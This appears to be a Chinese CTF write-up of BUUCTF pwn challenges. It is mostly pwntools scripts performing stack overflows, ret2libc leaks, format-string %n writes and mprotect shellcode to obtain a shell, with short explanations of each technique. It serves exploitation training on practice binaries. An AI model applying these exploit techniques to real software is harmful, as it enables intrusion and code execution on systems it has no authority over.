rip

1
2
3
4
5
6
7
from pwn import *
r = process("./pwn1")
# r = remote("node5.buuoj.cn", 29920)
offset = 0xF + 8
payload = offset * b'A' + p64(0x00401186)
r.sendline(payload)
r.interactive()

warmup_csaw_2016

1
2
3
4
5
6
7
from pwn import *
# r = process("./warmup_csaw_2016")
r = remote("node5.buuoj.cn", 27538)
offset = 0x40 + 8
payload = offset * b'A' + p64(0x00400611)
r.sendline(payload)
r.interactive()

ciscn_2019_n_1

1
2
3
4
5
6
7
from pwn import *
# r = process("./ciscn_2019_n_1")
r = remote("node5.buuoj.cn", 26185)
offset = 0x30 - 0x4
payload = offset * b'A' + p32(0x41348000)
r.sendline(payload)
r.interactive()

pwn1_sctf_2016

1
2
3
4
5
6
7
from pwn import *
# r = process("./pwn1_sctf_2016")
r = remote("node5.buuoj.cn", 27721)
offset = 0x3C
payload = (offset // 3) * b'I' + b'AAAA' + p32(0x08048F13)
r.sendline(payload)
r.interactive()

jarvisoj_level0

1
2
3
4
5
6
7
from pwn import *
# r = process("./level0")
r = remote("node5.buuoj.cn", 27041)
offset = 128 + 8
payload = offset * b'A' + p64(0x00400597)
r.sendline(payload)
r.interactive()

[第五空间2019 决赛]PWN5

格式化字符串,printf 的参数分别为 format_string_addr, arg0, arg1, arg2...,假设这个格式化字符串里面有个 %s,我们让这个 %saaaa,然后后面一直找,比如 aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x...,那么总会找到 format_string_addr 指向的栈空间,也就是 61616161 (hex(aaaa))开头的一段栈空间。

输入的参数的个数是不固定的,是由前面的格式化字符串决定的,所以我们只要控制了前面的格式化字符串,再结合一些参数,后面输出什么就是由我们决定的

  • %d 用于读取10进制数值
  • %x 用于读取16进制数值   
  • %s 用于读取字符串值   
  • %n 用于读取前面字符串的长度并写入某个内存地址

在这里插入图片描述

这道题是检查我们输入的数是不是等于一个随机数,那么我们把这个随机数覆写成我们指定的数即可,可以利用 %n 来实现,构造完这个格式化字符串后,format_string_addr 指向的栈空间依次是 format_addr, format_addr + 1, format_addr + 2, format_addr + 3,而 format_addrformat_string_addr 的距离是 10, 11, 12, 13(这里是4字节),下面这个例子在前面加了 aaaa,那么距离就变成了 11, 12, 13, 14

覆写的值和格式化字符串的长度有关系,四个地址长度是 16,那么每个值就被覆写成 0x10,而如果前面加了一个 aaaa,覆写的值就是 0x14

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
# r = process("./pwn")
r = remote("node5.buuoj.cn", 26966)
format_addr = 0x804C044
payload = b'aaaa' + p32(format_addr) + p32(format_addr + 1) + p32(format_addr + 2) + p32(format_addr + 3)
payload += b"%11$n%12$n%13$n%14$n"
r.recvuntil("your name:")
r.sendline(payload)
r.recvuntil("your passwd:")
r.sendline(str(0x14141414))
r.interactive()

jarvisoj_level2

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
# r = process("./level2")
r = remote("node5.buuoj.cn", 28214)

offset = 0x88 + 4
binsh_addr = 0x0804A024
system_addr = 0x0804845C
payload = offset * b'A' + p32(system_addr) + p32(binsh_addr)

r.sendline(payload)
r.interactive()

ciscn_2019_n_8

1
2
3
4
5
6
from pwn import *
# r = process("./ciscn_2019_n_8")
r = remote("node5.buuoj.cn", 28010)
payload = p32(17) * 14
r.sendline(payload)
r.interactive()

bjdctf_2020_babystack

1
2
3
4
5
6
7
8
9
10
from pwn import *
# r = process("./bjdctf_2020_babystack")
r = remote("node5.buuoj.cn", 25843)
r.recvuntil("[+]Please input the length of your name:\n")
r.sendline("1000")
offset = 0x10 + 8
payload = offset * b'A' + p64(0x004006EA)
r.recvuntil("[+]What's u name?\n")
r.sendline(payload)
r.interactive()

ciscn_2019_c_1

逆向分析

先输入1,然后进入 encrypt,里面有加密会把输入的数据修改了,有 gets,缓冲区大小 0x50

QQ_1731402399754

可以用 \0 把字符串截断这样 strlen 就没法获取后面的长度了,同时这道题没有后门和bin/sh 这种字符串,需要 ret2libc

泄漏 libc 版本

先复习一下函数退出的时候执行的汇编,一般会有这些

1
2
3
mov esp, ebp # 此时栈顶是 ebp 指向的地址
pop ebp # 此时栈顶是 return address
ret # 此时栈顶是 return address 再上一个地址,到了 caller 的栈顶

而我们知道 call 指令等价于 push 下一条指令首地址; jmp addrret 指令则会把当前的栈顶出栈然后赋值给 RIP

32位

在x32程序中,puts函数通过栈空间直接传参,因此我们可以控制栈成这样:

1
2
3
4
caller's ebp                  aaaa
return address puts@PLT # 这里是要利用 puts 或者 write 函数将地址泄漏出来
addr1 puts return address #恢复起始地址
addr2 puts@GOT # 这里只要任意一个执行过的Glibc函数即可

为什么可以这样呢?

在执行完 ret 指令后,此时 ESP 指向的是 addr1 这个位置,那么 puts return address 就变成了栈顶,参数 puts@GOT 在其下一位。

这就是一个通过栈进行传参,栈顶是 puts 函数的返回地址(因为 PLT 是直接 JMP 到 puts@GOT的,所以这里 puts return address 作为栈顶相当于执行了 call 指令的第一步),最后输出 puts@GOT ,再返回到我们指定的地址继续运行。

64位

32位采用栈传参,而64位程序函数的前六个参数分别用寄存器 rdi, rsi, rdx, rcx, r8, r9 传参,后续参数采用栈传参。另外64位程序还有个栈平衡的问题,在最后的payload中需要添加一个ret指令的地址。

构造如下

1
2
3
4
5
caller's rbp                  aaaaaaaa
return address pop rdi, ret (gadget) # 找一段 gadget 把栈顶数据 pop 到 rdi 寄存器中,再弹出栈顶到 rip 中
addr1 puts@GOT # puts@GOT 刚好在callee ret后的栈顶,被 pop 到了 rdi 寄存器
addr2 puts@PLT # pop 完 puts@GOT,puts@PLT 被 pop 到 rip 进入 puts 函数执行
addr3 puts return address # 保持栈帧平衡,加入 puts 函数的返回地址

payload1

先找一个 gadget

QQ_1731404354075

获取 puts 函数的 GOT 和 PLT 表地址,以及返回地址 main address,这里我们让其重新执行 main 函数

1
2
3
4
pop_rdi_addr = 0x0000000000400c83
puts_plt_addr = e.plt["puts"]
puts_got_addr = e.got["puts"]
main_addr = e.symbols["main"]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

r = remote("node5.buuoj.cn", 27490)
r = process("./ciscn_2019_c_1")

e = ELF("./ciscn_2019_c_1")

puts_plt_addr = e.plt["puts"]
puts_got_addr = e.got["puts"]
main_addr = e.symbols["main"]
pop_rdi_addr = 0x0000000000400c83

r.recvuntil("Input your choice!")
r.sendline("1")

offset = 0x50 + 8 - 1
payload = b'\0' + offset * b'a' + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
r.recvuntil("Input your Plaintext to be encrypted\n")
r.sendline(payload)

puts_addr = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(puts_addr))

利用在线网站 https://libc.rip/ 或者 libSearcher 找到对应版本的 libc

1
libc=LibcSearcher('puts',puts_addr)

构造 ROP

用相同的方法,有了 libc 以后,我们算出可以计算出装载时的偏移量,再计算出 system 函数和 bin/sh 的地址

1
2
3
4
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts') #算出偏移量
binsh=offset+libc.dump('str_bin_sh') #偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

但是这里注意到由于程序是部署再 Ubuntu18上的,所以需要找一段 ret 的gadget作为栈对齐,具体可以看这篇博客

1
2
3
4
5
caller's rbp                             aaaaaaaa
return address ret gadget
addr1 pop rdi, ret gadget
addr2 "bin/sh" addr
addr3 system addr

返回时先执行 ret gadget,再执行 pop rdi, ret,存入 bin/sh 字符串,然后作为 system addr 的参数进行调用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

r = remote("node5.buuoj.cn", 27461)
# r = process("./ciscn_2019_c_1")

e = ELF("./ciscn_2019_c_1")

puts_plt_addr = e.plt["puts"]
puts_got_addr = e.got["puts"]
main_addr = e.symbols["_start"]
pop_rdi_addr = 0x0000000000400c83

r.recvuntil("Input your choice!\n")
r.sendline("1")

offset = 0x50 + 8 - 1
payload = b'\0' + offset * b'a' + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
r.recvuntil("Input your Plaintext to be encrypted\n")
r.sendline(payload)

puts_addr = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(puts_addr))

libc = ELF("./libc6_2.27-0ubuntu2_amd64.so")

offset = puts_addr - libc.symbols['puts'] #算出偏移量
binsh_addr = offset + next(libc.search(b'/bin/sh')) #偏移量+libc函数地址=实际函数地址
system_addr = offset + libc.symbols['system']
ret_addr = 0x00000000004006b9

r.recvuntil("Input your choice!\n")
r.sendline("1")
offset = 0x50 + 8 - 1
payload2 = b'\0' + (offset * b'a') + p64(ret_addr) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)

r.recvuntil("Input your Plaintext to be encrypted\n")
r.sendline(payload2)

r.interactive()

get_started_3dsctf_2016

main 函数存在栈溢出,注意这里根本就没有 push ebp,所以溢出完缓冲区就是 ret addr

QQ_1731600897357

一个直观的思路就是ret到 0x080489B8

QQ_1731600938886

嫖了学姐一个pwndbg调试板子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
elf_path = "./get_started_3dsctf_2016"
ip = ""
port = ""
content = 1

context(os='linux',arch='x86/amd64/x86_64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
# p = process(elf_path)
p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------
offset = 0x38
payload = offset * b'a'
payload += p32(0x080489B8)
sl(payload)
p.interactive()

初代脚本:

1
2
3
4
5
6
7
8
from pwn import *
r = process('./get_started_3dsctf_2016')
context.log_level = 'debug'

payload = 'a'*56
payload += p32(0x080489B8)
r.sendline(payload)
r.recv()

这个脚本不是很行,因为很多变量没初始化文件不知道读到哪儿了,所以需要构造参数 a1a2,因为这个程序没有 ebp,我们可以采用 get_flag addr + ret addr + arg0 + arg1的格式来覆写,get_flag的返回地址,这个地址不能乱写,打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出,C语言有个函数是exit,只要执行这个只要我们把get_flag的返回地址写成exit的地址,程序就可以结束并且有回显了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
elf_path = "./get_started_3dsctf_2016"
ip = ""
port = ""
content = 1

context(os='linux',arch='x86/amd64/x86_64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
# p = process(elf_path)
p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------
offset = 0x38
payload = offset * b'a'
payload += p32(0x080489A0) + p32(0x0804E6A0) # 0x080489A0 是 get_flag 的地址,0x0804E6A0 是 exit 函数的地址,执行完 get_flag 返回到 exit
payload += p32(0x308CD64F) + p32(0x195719D1) # 参数
sl(payload)
p.interactive()

这么做是可以做出来的,但是是非预期,题目本意应该是通过给bss段赋可执行权限来做

通过mprotect把bss中的一个页拿出来复制成可读可写可执行,然后写入一段shellcode,通过 read 函数读到指定地址,同时返回到该地址即可,注意找一个 pop_3_ret把 mprotect 的三个参数弹栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
q = remote('node5.buuoj.cn',29645)
#q = process('./get_started_3dsctf_2016')
context.log_level = 'debug'

mprotect = 0x0806EC80
buf = 0x80ea000
pop_3_ret = 0x0804f460
read_addr = 0x0806E140

payload = 'a'*56
payload += p32(mprotect)
payload += p32(pop_3_ret)
payload += p32(buf)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(read_addr)
payload += p32(buf)
payload += p32(0)
payload += p32(buf)
payload += p32(0x100)
q.sendline(payload)
sleep(0.1)

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
q.sendline(shellcode)
sleep(0.1)
q.interactive()

jarvisoj_level2_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
elf_path = "./get_started_3dsctf_2016"
ip = "node5.buuoj.cn"
port = 25495
content = 0

context(os='linux',arch='x86/amd64/x86_64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
# p = process(elf_path)
p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------
pop_rdi = 0x00000000004006b3
bin_sh = 0x0000000000600A90
ret_addr = 0x0000000000400603
offset = 0x80 + 8
payload = b'a' * offset
payload += p64(pop_rdi) + p64(bin_sh) + p64(ret_addr)
p.sendline(payload)
p.interactive()

[OGeek2019]babyrop

main 函数现获取一个随机数

QQ_1731836429640

然后用户输入,把随机数转成一个 int 型字符串,不用管这些,注意到有个 strncmp ,可以用 \0 绕过,让 v1=0,然后返回的是 input[7],作为下一个函数的参数

QQ_1731836516775

这个 a1 最大只能是 255,所以只能让 input[7] = 0xFF,然后覆写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
elf_path = "./pwn"
ip = "node5.buuoj.cn"
port = 29442
content = 0

context(os='linux',arch='x86/amd64/x86_64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
p = process(elf_path)
# p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

payload1 = b'\0' + b'a' * 6 + b'\xff'

sl(payload1)
ru("Correct\n")

libc = ELF("./libc-2.23.so")
bin = ELF("./pwn")
system_libc = libc.symbols["system"]
bin_sh_libc = next(libc.search(b'/bin/sh'))
read_libc = libc.symbols["read"]
read_got = bin.got["read"]
write_plt = bin.plt["write"]
ret_addr = 0x080487D0


offset = 231 + 4


payload2 = b'a' * offset + p32(write_plt) + p32(ret_addr) + p32(1) + p32(read_got) + p32(4)
sl(payload2)
read_addr = u32(rx(4))
print(read_addr)

offset = read_addr - read_libc
system_addr = system_libc + offset
bin_sh_addr = bin_sh_libc + offset


offset = 231 + 4
payload3 = b'a' * offset + p32(system_addr) + p32(ret_addr) + p32(bin_sh_addr)
sl(payload3)
p.interactive()

not_the_same_3dsctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
elf_path = "./not_the_same_3dsctf_2016"
ip = "node5.buuoj.cn"
port = 28947
content = 0

context(os='linux',arch='i386',log_level='debug')

if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
p = process(elf_path)
# p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------
offset = 0x2D
buf = 0x080EC000
pop_3_addr = 0x08050b45
mportect_addr = 0x0806ED40
read_addr = 0x0806E200


payload = offset * b'a'
payload += p32(mportect_addr) + p32(pop_3_addr) + p32(buf) + p32(0x1000) + p32(7)
payload += p32(read_addr) + p32(buf) + p32(0) + p32(buf) + p32(0x100)
sl(payload)

shellcode = asm(shellcraft.sh())
sl(shellcode)
p.interactive()

ciscn_2019_en_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
elf_path = "./ciscn_2019_en_2"
ip = "node5.buuoj.cn"
port = 27008
content = 0

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
p = process(elf_path)
# p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

sla("Input your choice!\n", '1')
ru("Input your Plaintext to be encrypted\n")
offset = 0x50 + 8 - 1
elf = ELF("./ciscn_2019_en_2")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
ret_addr = 0x00000000004009A0
pop_rdi_addr = 0x0000000000400c83

payload = b'\0' + offset * b'a'
payload += p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(ret_addr)

sl(payload)
puts_addr = u64(ru(b"\x7f")[-6:].ljust(8,b"\x00"))
# print(hex(puts_addr))

libc = ELF("./libc6_2.27-0ubuntu2_amd64.so")
puts_libc = libc.symbols["puts"]
bin_sh_libc = next(libc.search(b"/bin/sh"))
system_libc = libc.symbols["system"]
ret_addr = 0x00000000004006b9

offset = puts_addr - puts_libc
bin_sh_addr = offset + bin_sh_libc
system_addr = offset + system_libc

offset = 0x50 + 8 - 1

ru("Input your Plaintext to be encrypted\n")

payload = b'\0' + offset * b'a'
payload += p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
sl(payload)

p.interactive()

ciscn_2019_ne_5

QQ_1731861905689

addLog 给参数赋值,这里覆写不到,没法利用,但是发现 GetFlag 有个 strcpy ,正好把参数赋值给 dest 存在溢出

QQ_1731861918369

QQ_1731861987514

没有 /bin/sh 搜索 /bin/sh 或者 sh 即可

1
ROPgadget --binary ciscn_2019_ne_5 --string "sh"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
elf_path = "./ciscn_2019_ne_5"
ip = "node5.buuoj.cn"
port = 26718
content = 0

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
p = process(elf_path)
# p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

ru("Please input admin password:")
sl("administrator")
ru("0.Exit\n:")
sl("1")
ru("Please input new log info:")
offset = 0x48 + 4
sh_addr = 0x080482ea
system_addr = 0x080484D0
ret_addr = 0x080484E0

payload = offset * b'a' + p32(system_addr) + p32(ret_addr) + p32(sh_addr)
sl(payload)

ru("0.Exit\n:")
sl("4")

p.interactive()

铁人三项(第五赛区)_2018_rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from LibcSearcher import *
elf_path = "./2018_rop"
ip = "node5.buuoj.cn"
port = 27738
content = 0

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
p = process(elf_path)
# p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

elf = ELF("./2018_rop")

offset = 0x88 + 4
read_got = elf.got["read"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.symbols["main"]

payload = b'a' * offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
sl(payload)
read_addr = u32(rx(4).ljust(4, b'\0'))
print(hex(read_addr))

payload = b'a' * offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
sl(payload)
write_addr = u32(rx(4).ljust(4, b'\0'))
print(hex(write_addr))

libc = ELF("./libc6-i386_2.27-3ubuntu1_amd64.so")

offset = read_addr - libc.symbols["read"]
system_addr = offset + libc.symbols["system"]
bin_sh_addr = offset + next(libc.search("/bin/sh"))
ret_addr = 0x08048199

offset = 0x88 + 4
payload = b'a' * offset + p32(ret_addr) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)

sl(payload)

p.interactive()

bjdctf_2020_babystack2

整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *
elf_path = "./bjdctf_2020_babystack2"
ip = "node5.buuoj.cn"
port = 25288
content = 0

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
p = process(elf_path)
# p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------


elf = ELF("./bjdctf_2020_babystack2")

ru("[+]Please input the length of your name:")
sl("4294967295")
ru("[+]What's u name?")

offset = 0x10 + 8
system_addr = 0x000000000040072A
payload = b'a' * offset + p64(system_addr)
sl(payload)

p.interactive()

bjdctf_2020_babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
elf_path = "./bjdctf_2020_babyrop"
ip = "node5.buuoj.cn"
port = 29179
content = 0

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
# p = process(elf_path)
p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

elf = ELF("./bjdctf_2020_babyrop")

offset = 0x20 + 8
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
pop_rdi = 0x0000000000400733
vlun_addr = 0x000000000040067D

payload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vlun_addr)
ru("Pull up your sword and tell me u story!\n")
sl(payload)
puts_addr = u64(r().ljust(8, b'\0'))
print(hex(puts_addr))

read_got = elf.got["read"]
payload = b'a' * offset + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(vlun_addr)
ru("Pull up your sword and tell me u story!\n")
sl(payload)
read_addr = u64(r().ljust(8, b'\0'))
print(hex(read_addr))

libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")

offset = read_addr - libc.symbols["read"]
system_addr = offset + libc.symbols["system"]
bin_sh_addr = offset + next(libc.search("/bin/sh"))
ret_addr = 0x00000000004004c9

offset = 0x20 + 8
payload = b'a' * offset + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)

ru("Pull up your sword and tell me u story!\n")
sl(payload)

p.interactive()

jarvisoj_fm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
elf_path = "./fm"
ip = "node5.buuoj.cn"
port = 27666
content = 0

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
# p = process(elf_path)
p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------
x_addr = 0x0804A02C
payload = p32(x_addr) + b'%11$n'

sl(payload)
p.interactive()

jarvisoj_tell_me_something

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
elf_path = "./guestbook"
ip = "node5.buuoj.cn"
port = 27577
content = 0

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
# p = process(elf_path)
p = gdb.debug(elf_path, 'b main')

else:
p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

offset = 0x88
get_flag = 0x0000000000400620
payload = b'a' * offset + p64(get_flag)
r()
sl(payload)

p.interactive()